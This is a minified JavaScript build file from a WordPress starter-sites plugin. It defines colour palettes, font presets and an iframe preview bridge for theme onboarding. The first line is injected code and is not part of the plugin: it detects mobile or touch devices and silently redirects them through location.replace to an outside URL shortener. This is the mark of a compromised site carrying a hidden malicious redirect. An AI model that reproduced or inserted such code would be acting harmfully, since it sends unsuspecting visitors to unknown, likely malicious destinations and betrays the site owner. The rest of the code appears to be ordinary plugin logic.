File: //home2/gazetufm/bleje.net/wp-content/plugins/athemes-starter-sites/v2/onboarding/build/760.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
"use strict";(globalThis.webpackChunkathemes_starter_sites=globalThis.webpackChunkathemes_starter_sites||[]).push([[760],{2:(t,o,e)=>{e.d(o,{ou:()=>n});const r={sydney:[{id:"default",name:"Default",colors:{"--sydney-global-color-1":"#d65050","--sydney-global-color-2":"#b73d3d","--sydney-global-color-3":"#233452","--sydney-global-color-4":"#00102E","--sydney-global-color-5":"#6d7685","--sydney-global-color-6":"#00102E","--sydney-global-color-7":"#F4F5F7","--sydney-global-color-8":"#dbdbdb","--sydney-global-color-9":"#ffffff"}},{id:"vibrant-blue",name:"Vibrant Blue",colors:{"--sydney-global-color-1":"#2563eb","--sydney-global-color-2":"#1d4ed8","--sydney-global-color-3":"#334155","--sydney-global-color-4":"#0f172a","--sydney-global-color-5":"#64748b","--sydney-global-color-6":"#1e293b","--sydney-global-color-7":"#f8fafc","--sydney-global-color-8":"#e2e8f0","--sydney-global-color-9":"#ffffff"}},{id:"sunset-warmth",name:"Sunset Warmth",colors:{"--sydney-global-color-1":"#f97316","--sydney-global-color-2":"#ea580c","--sydney-global-color-3":"#44403c","--sydney-global-color-4":"#1c1917","--sydney-global-color-5":"#78716c","--sydney-global-color-6":"#292524","--sydney-global-color-7":"#fafaf9","--sydney-global-color-8":"#e7e5e4","--sydney-global-color-9":"#ffffff"}},{id:"forest-green",name:"Forest Green",colors:{"--sydney-global-color-1":"#16a34a","--sydney-global-color-2":"#15803d","--sydney-global-color-3":"#3f3f46","--sydney-global-color-4":"#18181b","--sydney-global-color-5":"#71717a","--sydney-global-color-6":"#27272a","--sydney-global-color-7":"#fafafa","--sydney-global-color-8":"#e4e4e7","--sydney-global-color-9":"#ffffff"}},{id:"royal-purple",name:"Royal Purple",colors:{"--sydney-global-color-1":"#9333ea","--sydney-global-color-2":"#7e22ce","--sydney-global-color-3":"#3f3f46","--sydney-global-color-4":"#18181b","--sydney-global-color-5":"#71717a","--sydney-global-color-6":"#27272a","--sydney-global-color-7":"#fafafa","--sydney-global-color-8":"#e4e4e7","--sydney-global-color-9":"#ffffff"}},{id:"crimson-red",name:"Crimson Red",colors:{"--sydney-global-color-1":"#dc2626","--sydney-global-color-2":"#b91c1c","--sydney-global-color-3":"#374151","--sydney-global-color-4":"#111827","--sydney-global-color-5":"#6b7280","--sydney-global-color-6":"#1f2937","--sydney-global-color-7":"#f9fafb","--sydney-global-color-8":"#e5e7eb","--sydney-global-color-9":"#ffffff"}},{id:"teal-aqua",name:"Teal Aqua",colors:{"--sydney-global-color-1":"#14b8a6","--sydney-global-color-2":"#0d9488","--sydney-global-color-3":"#334155","--sydney-global-color-4":"#0f172a","--sydney-global-color-5":"#64748b","--sydney-global-color-6":"#1e293b","--sydney-global-color-7":"#f8fafc","--sydney-global-color-8":"#e2e8f0","--sydney-global-color-9":"#ffffff"}}],botiga:[{id:"palette1",name:"Palette 1",colors:{"--bt-color-button-bg":"#212121","--bt-color-button-border":"#212121","--bt-color-link-default":"#212121","--bt-color-button-bg-hover":"#757575","--bt-color-button-border-hover":"#757575","--bt-color-link-hover":"#757575","--bt-color-post-title":"#212121","--bt-color-forms-text":"#212121","--bt-color-loop-post-title":"#212121","--bt-color-heading-1":"#212121","--bt-color-heading-2":"#212121","--bt-color-heading-3":"#212121","--bt-color-heading-4":"#212121","--bt-color-heading-5":"#212121","--bt-color-heading-6":"#212121","--bt-color-menu-text":"#212121","--bt-color-body-text":"#212121","--bt-color-forms-placeholder":"#212121","--bt-color-post-meta":"#212121","--bt-color-loop-post-meta":"#212121","--bt-color-loop-post-text":"#212121","--bt-color-forms-borders":"#212121","--bt-color-content-cards-bg":"#f5f5f5","--bt-color-bg":"#ffffff","--bt-color-button":"#ffffff","--bt-color-button-hover":"#ffffff","--bt-color-forms-background":"#ffffff","--bt-color-menu-bg":"#ffffff","--wp--preset--color--color-0":"#212121","--wp--preset--color--color-1":"#757575","--wp--preset--color--color-2":"#212121","--wp--preset--color--color-3":"#212121","--wp--preset--color--color-4":"#212121","--wp--preset--color--color-5":"#f5f5f5","--wp--preset--color--color-6":"#ffffff","--wp--preset--color--color-7":"#ffffff"}},{id:"palette2",name:"Palette 2",colors:{"--bt-color-button-bg":"#438061","--bt-color-button-border":"#438061","--bt-color-link-default":"#438061","--bt-color-button-bg-hover":"#214E3A","--bt-color-button-border-hover":"#214E3A","--bt-color-link-hover":"#214E3A","--bt-color-post-title":"#214E3A","--bt-color-forms-text":"#214E3A","--bt-color-loop-post-title":"#214E3A","--bt-color-heading-1":"#214E3A","--bt-color-heading-2":"#214E3A","--bt-color-heading-3":"#214E3A","--bt-color-heading-4":"#214E3A","--bt-color-heading-5":"#214E3A","--bt-color-heading-6":"#214E3A","--bt-color-menu-text":"#214E3A","--bt-color-body-text":"#222222","--bt-color-forms-placeholder":"#222222","--bt-color-post-meta":"#222222","--bt-color-loop-post-meta":"#222222","--bt-color-loop-post-text":"#222222","--bt-color-forms-borders":"#757575","--bt-color-content-cards-bg":"#ECEEEC","--bt-color-bg":"#FFFFFF","--bt-color-button":"#FFFFFF","--bt-color-button-hover":"#FFFFFF","--bt-color-forms-background":"#FFFFFF","--bt-color-menu-bg":"#ffffff","--wp--preset--color--color-0":"#438061","--wp--preset--color--color-1":"#214E3A","--wp--preset--color--color-2":"#214E3A","--wp--preset--color--color-3":"#222222","--wp--preset--color--color-4":"#757575","--wp--preset--color--color-5":"#ECEEEC","--wp--preset--color--color-6":"#ffffff","--wp--preset--color--color-7":"#ffffff"}},{id:"palette3",name:"Palette 3",colors:{"--bt-color-button-bg":"#7877E6","--bt-color-button-border":"#7877E6","--bt-color-link-default":"#7877E6","--bt-color-button-bg-hover":"#4B49DE","--bt-color-button-border-hover":"#4B49DE","--bt-color-link-hover":"#4B49DE","--bt-color-post-title":"#000000","--bt-color-forms-text":"#000000","--bt-color-loop-post-title":"#000000","--bt-color-heading-1":"#000000","--bt-color-heading-2":"#000000","--bt-color-heading-3":"#000000","--bt-color-heading-4":"#000000","--bt-color-heading-5":"#000000","--bt-color-heading-6":"#000000","--bt-color-menu-text":"#000000","--bt-color-body-text":"#222222","--bt-color-forms-placeholder":"#222222","--bt-color-post-meta":"#222222","--bt-color-loop-post-meta":"#222222","--bt-color-loop-post-text":"#222222","--bt-color-forms-borders":"#4F4F4F","--bt-color-content-cards-bg":"#F4F4F3","--bt-color-bg":"#ffffff","--bt-color-button":"#ffffff","--bt-color-button-hover":"#ffffff","--bt-color-forms-background":"#ffffff","--bt-color-menu-bg":"#ffffff","--wp--preset--color--color-0":"#7877E6","--wp--preset--color--color-1":"#4B49DE","--wp--preset--color--color-2":"#000000","--wp--preset--color--color-3":"#222222","--wp--preset--color--color-4":"#4F4F4F","--wp--preset--color--color-5":"#F4F4F3","--wp--preset--color--color-6":"#ffffff","--wp--preset--color--color-7":"#ffffff"}},{id:"palette4",name:"Palette 4",colors:{"--bt-color-button-bg":"#1470AF","--bt-color-button-border":"#1470AF","--bt-color-link-default":"#1470AF","--bt-color-button-bg-hover":"#105787","--bt-color-button-border-hover":"#105787","--bt-color-link-hover":"#105787","--bt-color-post-title":"#072B43","--bt-color-forms-text":"#072B43","--bt-color-loop-post-title":"#072B43","--bt-color-heading-1":"#072B43","--bt-color-heading-2":"#072B43","--bt-color-heading-3":"#072B43","--bt-color-heading-4":"#072B43","--bt-color-heading-5":"#072B43","--bt-color-heading-6":"#072B43","--bt-color-menu-text":"#072B43","--bt-color-body-text":"#212C34","--bt-color-forms-placeholder":"#212C34","--bt-color-post-meta":"#212C34","--bt-color-loop-post-meta":"#212C34","--bt-color-loop-post-text":"#212C34","--bt-color-forms-borders":"#9A9D9F","--bt-color-content-cards-bg":"#F3F4F4","--bt-color-bg":"#ffffff","--bt-color-button":"#ffffff","--bt-color-button-hover":"#ffffff","--bt-color-forms-background":"#ffffff","--bt-color-menu-bg":"#ffffff","--wp--preset--color--color-0":"#1470AF","--wp--preset--color--color-1":"#105787","--wp--preset--color--color-2":"#072B43","--wp--preset--color--color-3":"#212C34","--wp--preset--color--color-4":"#9A9D9F","--wp--preset--color--color-5":"#F3F4F4","--wp--preset--color--color-6":"#ffffff","--wp--preset--color--color-7":"#ffffff"}},{id:"palette5",name:"Palette 5",colors:{"--bt-color-button-bg":"#FDB336","--bt-color-button-border":"#FDB336","--bt-color-link-default":"#FDB336","--bt-color-button-bg-hover":"#DD8B02","--bt-color-button-border-hover":"#DD8B02","--bt-color-link-hover":"#DD8B02","--bt-color-post-title":"#FFFFFF","--bt-color-forms-text":"#FFFFFF","--bt-color-loop-post-title":"#FFFFFF","--bt-color-heading-1":"#FFFFFF","--bt-color-heading-2":"#FFFFFF","--bt-color-heading-3":"#FFFFFF","--bt-color-heading-4":"#FFFFFF","--bt-color-heading-5":"#FFFFFF","--bt-color-heading-6":"#FFFFFF","--bt-color-menu-text":"#FFFFFF","--bt-color-body-text":"#948F87","--bt-color-forms-placeholder":"#948F87","--bt-color-post-meta":"#948F87","--bt-color-loop-post-meta":"#948F87","--bt-color-loop-post-text":"#948F87","--bt-color-forms-borders":"#1E2933","--bt-color-content-cards-bg":"#0F141A","--bt-color-bg":"#141B22","--bt-color-button":"#141B22","--bt-color-button-hover":"#141B22","--bt-color-forms-background":"#141B22","--bt-color-menu-bg":"#141B22","--wp--preset--color--color-0":"#FDB336","--wp--preset--color--color-1":"#DD8B02","--wp--preset--color--color-2":"#FFFFFF","--wp--preset--color--color-3":"#948F87","--wp--preset--color--color-4":"#1E2933","--wp--preset--color--color-5":"#0F141A","--wp--preset--color--color-6":"#141B22","--wp--preset--color--color-7":"#141B22"}},{id:"palette6",name:"Palette 6",colors:{"--bt-color-button-bg":"#FF524D","--bt-color-button-border":"#FF524D","--bt-color-link-default":"#FF524D","--bt-color-button-bg-hover":"#E80600","--bt-color-button-border-hover":"#E80600","--bt-color-link-hover":"#E80600","--bt-color-post-title":"#40140F","--bt-color-forms-text":"#40140F","--bt-color-loop-post-title":"#40140F","--bt-color-heading-1":"#40140F","--bt-color-heading-2":"#40140F","--bt-color-heading-3":"#40140F","--bt-color-heading-4":"#40140F","--bt-color-heading-5":"#40140F","--bt-color-heading-6":"#40140F","--bt-color-menu-text":"#40140F","--bt-color-body-text":"#5B3F3E","--bt-color-forms-placeholder":"#5B3F3E","--bt-color-post-meta":"#5B3F3E","--bt-color-loop-post-meta":"#5B3F3E","--bt-color-loop-post-text":"#5B3F3E","--bt-color-forms-borders":"#ACA2A1","--bt-color-content-cards-bg":"#F4E3E0","--bt-color-bg":"#FFFFFF","--bt-color-button":"#FFFFFF","--bt-color-button-hover":"#FFFFFF","--bt-color-forms-background":"#FFFFFF","--bt-color-menu-bg":"#FFFFFF","--wp--preset--color--color-0":"#FF524D","--wp--preset--color--color-1":"#E80600","--wp--preset--color--color-2":"#40140F","--wp--preset--color--color-3":"#5B3F3E","--wp--preset--color--color-4":"#ACA2A1","--wp--preset--color--color-5":"#F4E3E0","--wp--preset--color--color-6":"#FFFFFF","--wp--preset--color--color-7":"#FFFFFF"}},{id:"palette7",name:"Palette 7",colors:{"--bt-color-button-bg":"#E97B6B","--bt-color-button-border":"#E97B6B","--bt-color-link-default":"#E97B6B","--bt-color-button-bg-hover":"#C84835","--bt-color-button-border-hover":"#C84835","--bt-color-link-hover":"#C84835","--bt-color-post-title":"#131B51","--bt-color-forms-text":"#131B51","--bt-color-loop-post-title":"#131B51","--bt-color-heading-1":"#131B51","--bt-color-heading-2":"#131B51","--bt-color-heading-3":"#131B51","--bt-color-heading-4":"#131B51","--bt-color-heading-5":"#131B51","--bt-color-heading-6":"#131B51","--bt-color-menu-text":"#131B51","--bt-color-body-text":"#3E425B","--bt-color-forms-placeholder":"#3E425B","--bt-color-post-meta":"#3E425B","--bt-color-loop-post-meta":"#3E425B","--bt-color-loop-post-text":"#3E425B","--bt-color-forms-borders":"#A1A3AC","--bt-color-content-cards-bg":"#F7EAE8","--bt-color-bg":"#FFFFFF","--bt-color-button":"#FFFFFF","--bt-color-button-hover":"#FFFFFF","--bt-color-forms-background":"#FFFFFF","--bt-color-menu-bg":"#FFFFFF","--wp--preset--color--color-0":"#E97B6B","--wp--preset--color--color-1":"#C84835","--wp--preset--color--color-2":"#131B51","--wp--preset--color--color-3":"#3E425B","--wp--preset--color--color-4":"#A1A3AC","--wp--preset--color--color-5":"#F7EAE8","--wp--preset--color--color-6":"#FFFFFF","--wp--preset--color--color-7":"#FFFFFF"}},{id:"palette8",name:"Palette 8",colors:{"--bt-color-button-bg":"#0AA99D","--bt-color-button-border":"#0AA99D","--bt-color-link-default":"#0AA99D","--bt-color-button-bg-hover":"#066B63","--bt-color-button-border-hover":"#066B63","--bt-color-link-hover":"#066B63","--bt-color-post-title":"#0B0C0F","--bt-color-forms-text":"#0B0C0F","--bt-color-loop-post-title":"#0B0C0F","--bt-color-heading-1":"#0B0C0F","--bt-color-heading-2":"#0B0C0F","--bt-color-heading-3":"#0B0C0F","--bt-color-heading-4":"#0B0C0F","--bt-color-heading-5":"#0B0C0F","--bt-color-heading-6":"#0B0C0F","--bt-color-menu-text":"#0B0C0F","--bt-color-body-text":"#202833","--bt-color-forms-placeholder":"#202833","--bt-color-post-meta":"#202833","--bt-color-loop-post-meta":"#202833","--bt-color-loop-post-text":"#202833","--bt-color-forms-borders":"#C5C7C8","--bt-color-content-cards-bg":"#E9F3F2","--bt-color-bg":"#FFFFFF","--bt-color-button":"#FFFFFF","--bt-color-button-hover":"#FFFFFF","--bt-color-forms-background":"#FFFFFF","--bt-color-menu-bg":"#FFFFFF","--wp--preset--color--color-0":"#0AA99D","--wp--preset--color--color-1":"#066B63","--wp--preset--color--color-2":"#0B0C0F","--wp--preset--color--color-3":"#202833","--wp--preset--color--color-4":"#C5C7C8","--wp--preset--color--color-5":"#E9F3F2","--wp--preset--color--color-6":"#FFFFFF","--wp--preset--color--color-7":"#FFFFFF"}}]},n=(t,o)=>t?.colorSchemes&&0<t.colorSchemes.length?t.colorSchemes:r[o.toLowerCase()]||r.sydney},123:(t,o,e)=>{e.d(o,{zb:()=>n});const r=[{id:"system",name:"System Default",label:"System Default",headingFont:{family:'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif'},bodyFont:{family:'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif'},googleFontsUrl:""},{id:"default",name:"Default",label:"Inter",headingFont:{family:"Inter"},bodyFont:{family:"Inter"},googleFontsUrl:"https://fonts.googleapis.com/css2?family=Inter:wght@400;500&display=swap"},{id:"classic-elegant",name:"Classic Elegant",label:"Playfair Display & Source Sans Pro",headingFont:{family:"Playfair Display"},bodyFont:{family:"Source Sans Pro"},googleFontsUrl:"https://fonts.googleapis.com/css2?family=Playfair+Display:wght@500&family=Source+Sans+Pro:wght@400&display=swap"},{id:"modern-clean",name:"Modern Clean",label:"Poppins",headingFont:{family:"Poppins"},bodyFont:{family:"Poppins"},googleFontsUrl:"https://fonts.googleapis.com/css2?family=Poppins:wght@400;500&display=swap"},{id:"professional",name:"Professional",label:"Roboto Slab & Roboto",headingFont:{family:"Roboto Slab"},bodyFont:{family:"Roboto"},googleFontsUrl:"https://fonts.googleapis.com/css2?family=Roboto+Slab:wght@500&family=Roboto:wght@400&display=swap"},{id:"creative-bold",name:"Creative Bold",label:"Montserrat & Open Sans",headingFont:{family:"Montserrat"},bodyFont:{family:"Open Sans"},googleFontsUrl:"https://fonts.googleapis.com/css2?family=Montserrat:wght@500&family=Open+Sans:wght@400&display=swap"},{id:"editorial",name:"Editorial",label:"Merriweather & Lato",headingFont:{family:"Merriweather"},bodyFont:{family:"Lato"},googleFontsUrl:"https://fonts.googleapis.com/css2?family=Merriweather:wght@500&family=Lato:wght@400&display=swap"},{id:"minimal-sans",name:"Minimal Sans",label:"Work Sans",headingFont:{family:"Work Sans"},bodyFont:{family:"Work Sans"},googleFontsUrl:"https://fonts.googleapis.com/css2?family=Work+Sans:wght@400;500&display=swap"}],n=(t,o)=>r},132:(t,o,e)=>{e.d(o,{We:()=>n,bT:()=>r});const r=(t,o="data-atss-preconnect")=>{if(t)try{const e=new URL(t).origin;if(document.querySelector(`link[${o}="${e}"]`))return;const r=document.createElement("link");r.rel="dns-prefetch",r.href=e,r.setAttribute(o,e),document.head.appendChild(r);const n=document.createElement("link");n.rel="preconnect",n.href=e,n.setAttribute(o,e),document.head.appendChild(n)}catch(t){}},n=t=>{t&&Array.isArray(t)&&t.forEach(t=>{t.url&&r(t.url,"data-atss-page-preconnect")})}},170:(t,o,e)=>{e.d(o,{YM:()=>l,Vt:()=>i,eJ:()=>a,xl:()=>b,c0:()=>s,cd:()=>c});var r=e(87),n=e(635);const l=({selectedColorScheme:t,colorSchemes:o=[],customColors:e={},debounceMs:l=300})=>{const a=(0,r.useRef)(null);(0,r.useEffect)(()=>(a.current&&clearTimeout(a.current),a.current=setTimeout(()=>{const r=((t,o,e)=>{if(!t)return null;if("custom"===t)return e&&"object"==typeof e&&0!==Object.keys(e).length?e:null;const r=o.find(o=>o.id===t);return r&&r.colors?r.colors:null})(t,o,e);r&&n.A.updateColors(r)},l),()=>{a.current&&clearTimeout(a.current)}),[t,o,e,l])},a=(t,o)=>{(0,r.useEffect)(()=>{t&&(async()=>{try{const e=null!=o?{...t,height:o}:t,r=await(async t=>{if(!t||!t.url)return t;if(!(t=>{if(!t)return!1;try{const o=new URL(t).hostname.toLowerCase();if("localhost"===o)return!0;if(o.endsWith(".local"))return!0;if(o.endsWith(".test"))return!0;if(/^(\d{1,3}\.){3}\d{1,3}$/.test(o)){const t=o.split(".").map(Number);if(127===t[0])return!0;if(192===t[0]&&168===t[1])return!0;if(10===t[0])return!0;if(172===t[0]&&t[1]>=16&&t[1]<=31)return!0}return"::1"===o||"[::1]"===o}catch(t){return!1}})(t.url))return t;try{const e=await(o=t.url,new Promise((t,e)=>{const r=new Image;r.crossOrigin="anonymous",r.onload=()=>{try{const o=document.createElement("canvas");o.width=r.naturalWidth,o.height=r.naturalHeight,o.getContext("2d").drawImage(r,0,0);const e=o.toDataURL("image/png");t(e)}catch(t){e(t)}},r.onerror=()=>{e(new Error("Failed to load image"))},r.src=o}));return{...t,url:e,originalUrl:t.url}}catch(o){return console.warn("[Image Utils] Failed to convert logo to data URL:",o),t}var o})(e);n.A.updateLogo(r)}catch(e){console.warn("[useLogoPreviewSync] Failed to convert logo:",e);const r=null!=o?{...t,height:o}:t;n.A.updateLogo(r)}})()},[t,o])},i=t=>{(0,r.useEffect)(()=>{null!=t&&n.A.updateLogoHeight(t)},[t])},s=(t,o,e)=>{const l=(0,r.useRef)(null);(0,r.useEffect)(()=>(l.current&&clearTimeout(l.current),l.current=setTimeout(()=>{n.A.updateSiteTitle(t,o,e)},500),()=>{l.current&&clearTimeout(l.current)}),[t,o,e])},c=(t,o)=>{(0,r.useEffect)(()=>{if(!t)return;const e=o.find(o=>o.id===t);e&&n.A.updateTypography(e)},[t,o])},b=t=>{(0,r.useEffect)(()=>{t?.current&&n.A.init(t.current)},[t]),(0,r.useEffect)(()=>{t?.current&&n.A.iframe!==t.current&&n.A.init(t.current)})}},635:(t,o,e)=>{e.d(o,{A:()=>n});var r=e(874);const n=new class{constructor(t="demo-preview"){this.iframeId=t,this.iframe=null,this.isReady=!1,this.isLocalPreview=!1,this.messageQueue=[],this.debug=window.atssOnboarding?.debug||!1,this.messageHandler=null,this.pendingCustomizations=null,this.readyReceivedWithoutIframe=!1,this.appliedColors=[],this.appliedTypography={elements:[],fontLink:null}}init(t){if(this.log("info","init() called with iframe:",t?t.id||"unnamed":"null"),!t)return void(this.messageHandler||this.setupMessageHandler());if(this.iframe===t)return void this.log("info","init() called with same iframe, skipping");const o=this.readyReceivedWithoutIframe;this.log("info","Initializing bridge with new iframe"),this.iframe=t,this.readyReceivedWithoutIframe=!1,this.messageHandler||this.setupMessageHandler(),o&&this.pendingCustomizations&&(this.log("info","Had pending ready state, applying customizations now"),this.isReady=!0,this.batchUpdate(this.pendingCustomizations))}setupMessageHandler(){this.messageHandler&&window.removeEventListener("message",this.messageHandler),this.messageHandler=t=>{if("ATSS_PREVIEW_READY"===t.data?.type){if(this.log("info","Received ATSS_PREVIEW_READY signal"),this.isReady=!0,!this.iframe)return this.log("info","No iframe reference yet, marking readyReceivedWithoutIframe"),void(this.readyReceivedWithoutIframe=!0);this.flushMessageQueue(),this.pendingCustomizations&&(this.log("info","Applying pending customizations"),this.batchUpdate(this.pendingCustomizations))}},window.addEventListener("message",this.messageHandler),this.log("info","Message handler set up")}resetReadyState(){this.isReady=!1,this.messageQueue=[],this.readyReceivedWithoutIframe=!1,this.log("info","Ready state reset for new page load")}setPendingCustomizations(t){this.pendingCustomizations=t,this.log("info","Pending customizations set",t)}clearPendingCustomizations(){this.pendingCustomizations=null}storePendingCustomizations(t){if(!t||"object"!=typeof t)return;this.pendingCustomizations||(this.pendingCustomizations={});const o={...t};if(o.customCss){const t=this.pendingCustomizations.customCss||{};o.customCss.styleId&&"string"==typeof o.customCss.css?o.customCss={...t,[o.customCss.styleId]:o.customCss}:o.customCss={...t,...o.customCss}}this.pendingCustomizations={...this.pendingCustomizations,...o}}send(t){if(!this.iframe?.contentWindow)return this.log("error","Iframe not available",t),!1;if(this.isLocalPreview)return this.applyDirect(t);if(!this.isReady)return this.messageQueue.push(t),this.log("info","Message queued (iframe not ready)",t),!1;try{return this.iframe.contentWindow.postMessage(t,"*"),this.log("info","Message sent",t),!0}catch(o){return this.log("error","Failed to send message",{message:t,error:o}),!1}}flushMessageQueue(){if(0!==this.messageQueue.length)for(this.log("info",`Flushing ${this.messageQueue.length} queued messages`);0<this.messageQueue.length;){const t=this.messageQueue.shift();this.send(t)}}updateColors(t){return t&&"object"==typeof t?(this.storePendingCustomizations({colors:t}),this.send({type:"ATSS_COLOR_UPDATE",colors:t})):(this.log("error","Invalid colors object",t),!1)}resetColors(){return this.send({type:"ATSS_COLOR_RESET"})}updateLogo(t){return t?(this.storePendingCustomizations({logo:t}),r.A&&t.url&&this.resetCustomCss("atss-preview-botiga-title-css"),this.send({type:"ATSS_LOGO_UPDATE",logo:t})):(this.log("error","Invalid logo object",t),!1)}updateLogoHeight(t){return r.A?(this.storePendingCustomizations({customCss:{css:`.site-branding img { width: ${t}px !important; max-height: none !important; height: auto !important; }`,styleId:"atss-preview-logo-width-css"}}),this.send({type:"ATSS_CUSTOM_CSS_UPDATE",css:`.site-branding img { width: ${t}px !important; max-height: none !important; height: auto !important; }`,styleId:"atss-preview-logo-width-css"})):(this.storePendingCustomizations({logoHeight:t}),this.send({type:"ATSS_LOGO_HEIGHT_UPDATE",height:t}))}updateSiteTitle(t,o,e){const n=!!e?.url;this.storePendingCustomizations({title:t,showTitle:o});const l=this.send({type:"ATSS_SITE_TITLE_UPDATE",title:t,showTitle:o});return r.A?o?this.updateCustomCss(`\n\t\t\t${n?"":".custom-logo-link { display: none !important; }"}\n\t\t\t.site-title, .site-description { position: relative !important; }\n\t\t\t${n?".site-branding { gap: 0 !important; flex-direction: column !important; }":""}\n\t\t\t`,"atss-preview-botiga-title-css"):(this.resetCustomCss("atss-preview-botiga-title-css"),l):l}updateTypography(t){return t&&"object"==typeof t?(this.storePendingCustomizations({typography:t}),this.send({type:"ATSS_TYPOGRAPHY_UPDATE",typography:t})):(this.log("error","Invalid typography object",t),!1)}resetTypography(){return this.send({type:"ATSS_TYPOGRAPHY_RESET"})}updateCustomCss(t,o="atss-preview-custom-css"){return"string"!=typeof t?(this.log("error","Invalid CSS string",t),!1):(this.storePendingCustomizations({customCss:{css:t,styleId:o}}),this.send({type:"ATSS_CUSTOM_CSS_UPDATE",css:t,styleId:o}))}resetCustomCss(t="atss-preview-custom-css"){return this.pendingCustomizations?.customCss?.[t]&&(delete this.pendingCustomizations.customCss[t],0===Object.keys(this.pendingCustomizations.customCss).length&&delete this.pendingCustomizations.customCss,0===Object.keys(this.pendingCustomizations).length&&(this.pendingCustomizations=null)),this.send({type:"ATSS_CUSTOM_CSS_RESET",styleId:t})}batchUpdate(t){const o=this.send({type:"ATSS_BATCH_UPDATE",updates:{...t,customCss:void 0}});return t?.customCss&&Object.values(t.customCss).forEach(t=>{this.send({type:"ATSS_CUSTOM_CSS_UPDATE",css:t.css,styleId:t.styleId})}),o}markReady(){this.isReady=!0,this.flushMessageQueue()}log(t,o,e){if(!this.debug)return;const r="[PreviewBridge]";switch(t){case"error":console.error(r,o,e);break;case"warn":console.warn(r,o,e);break;default:console.log(r,o,e)}}setLocalPreview(t){this.isLocalPreview=t,this.log("info",`Local preview mode: ${t}`)}getIframeDoc(){try{return this.iframe?.contentDocument||this.iframe?.contentWindow?.document||null}catch(t){return null}}applyDirect(t){const o=this.getIframeDoc();if(!o)return this.log("error","Cannot access iframe document for direct apply",t),!1;switch(t.type){case"ATSS_COLOR_UPDATE":this.directUpdateColors(o,t.colors);break;case"ATSS_COLOR_RESET":this.directResetColors(o);break;case"ATSS_LOGO_UPDATE":this.directUpdateLogo(o,t.logo);break;case"ATSS_LOGO_HEIGHT_UPDATE":this.directUpdateLogoHeight(o,t.height);break;case"ATSS_SITE_TITLE_UPDATE":this.directUpdateSiteTitle(o,t.title,t.showTitle);break;case"ATSS_TYPOGRAPHY_UPDATE":this.directUpdateTypography(o,t.typography);break;case"ATSS_TYPOGRAPHY_RESET":this.directResetTypography(o);break;case"ATSS_CUSTOM_CSS_UPDATE":this.directUpdateCustomCss(o,t.css,t.styleId);break;case"ATSS_CUSTOM_CSS_RESET":this.directResetCustomCss(o,t.styleId);break;case"ATSS_BATCH_UPDATE":if(t.updates){const e=t.updates;e.colors&&this.directUpdateColors(o,e.colors),e.logo&&this.directUpdateLogo(o,e.logo),void 0!==e.logoHeight&&this.directUpdateLogoHeight(o,e.logoHeight),void 0!==e.title&&this.directUpdateSiteTitle(o,e.title,e.showTitle),e.typography&&this.directUpdateTypography(o,e.typography),e.customCss&&Object.values(e.customCss).forEach(t=>{this.directUpdateCustomCss(o,t.css,t.styleId)})}break;default:return!1}return this.log("info","Direct DOM apply",t.type),!0}directUpdateColors(t,o){if(!o||"object"!=typeof o)return;const e=t.documentElement;for(const[t,r]of Object.entries(o)){const o="string"==typeof r?r.replace(/^['"]|['"]$/g,""):r;t.startsWith("--")&&(e.style.setProperty(t,o),this.appliedColors.includes(t)||this.appliedColors.push(t))}}directResetColors(t){const o=t.documentElement;for(const t of this.appliedColors)o.style.removeProperty(t);this.appliedColors=[]}directUpdateLogo(t,o){const e=void 0!==o?.height?o.height:80,r=t.querySelector(".site-branding");if(!o||!o.url){const t=r?.querySelector(".atss-preview-logo");t&&t.remove();const o=r?.querySelectorAll(".site-logo, .custom-logo");return o&&o.forEach(t=>t.remove()),void(r&&(r.style.display="",r.style.gap="",r.style.alignItems=""))}const n=r?.querySelectorAll(".site-logo, .custom-logo");if(n&&n.length>0)n.forEach(t=>{t.src=o.url,t.style.maxHeight=e+"px"});else if(r){let n=r.querySelector(".atss-preview-logo");if(n){const t=n.querySelector("img");t&&(t.src=o.url,t.style.maxHeight=e+"px")}else{n=t.createElement("a"),n.className="desktop-logo-link atss-preview-logo",n.href=window.atssOnboarding?.homeUrl||"/";const l=t.createElement("img");l.className="site-logo",l.src=o.url,l.style.maxHeight=e+"px",n.appendChild(l),r.insertBefore(n,r.firstChild),r.style.display="flex",r.style.gap="15px",r.style.alignItems="center"}}}directUpdateLogoHeight(t,o){const e=null!=o&&"number"==typeof o?o:80;t.querySelectorAll(".site-branding .site-logo, .site-branding .custom-logo").forEach(t=>{t.style.maxHeight=e+"px"})}directUpdateSiteTitle(t,o,e){const r=void 0===e||e;t.querySelectorAll(".site-title").forEach(e=>{if(void 0!==o){let r=e.querySelector("a");"A"===e.tagName?e.textContent=o:r?r.textContent=o:(e.innerHTML="",r=t.createElement("a"),r.textContent=o,r.href=window.atssOnboarding?.homeUrl||"/",e.appendChild(r))}e.style.display=r?"":"none"})}directUpdateTypography(t,o){if(o&&"object"==typeof o){if(o.googleFontsUrl&&""!==o.googleFontsUrl.trim()){this.appliedTypography.fontLink&&this.appliedTypography.fontLink.parentNode&&this.appliedTypography.fontLink.parentNode.removeChild(this.appliedTypography.fontLink);const e=t.createElement("link");e.rel="stylesheet",e.href=o.googleFontsUrl,e.id="atss-preview-typography-fonts",t.head.appendChild(e),this.appliedTypography.fontLink=e}else this.appliedTypography.fontLink&&this.appliedTypography.fontLink.parentNode&&(this.appliedTypography.fontLink.parentNode.removeChild(this.appliedTypography.fontLink),this.appliedTypography.fontLink=null);if(o.headingFont?.family&&t.querySelectorAll("h1, h2, h3, h4, h5, h6, .site-title").forEach(e=>{e.dataset.originalFontFamily||(e.dataset.originalFontFamily=t.defaultView.getComputedStyle(e).fontFamily),e.style.fontFamily=o.headingFont.family,this.appliedTypography.elements.includes(e)||this.appliedTypography.elements.push(e)}),o.bodyFont?.family){const e=t.body;e&&(e.dataset.originalFontFamily||(e.dataset.originalFontFamily=t.defaultView.getComputedStyle(e).fontFamily),e.style.fontFamily=o.bodyFont.family,this.appliedTypography.elements.includes(e)||this.appliedTypography.elements.push(e))}}}directResetTypography(t){for(const t of this.appliedTypography.elements)t.dataset.originalFontFamily?(t.style.fontFamily=t.dataset.originalFontFamily,delete 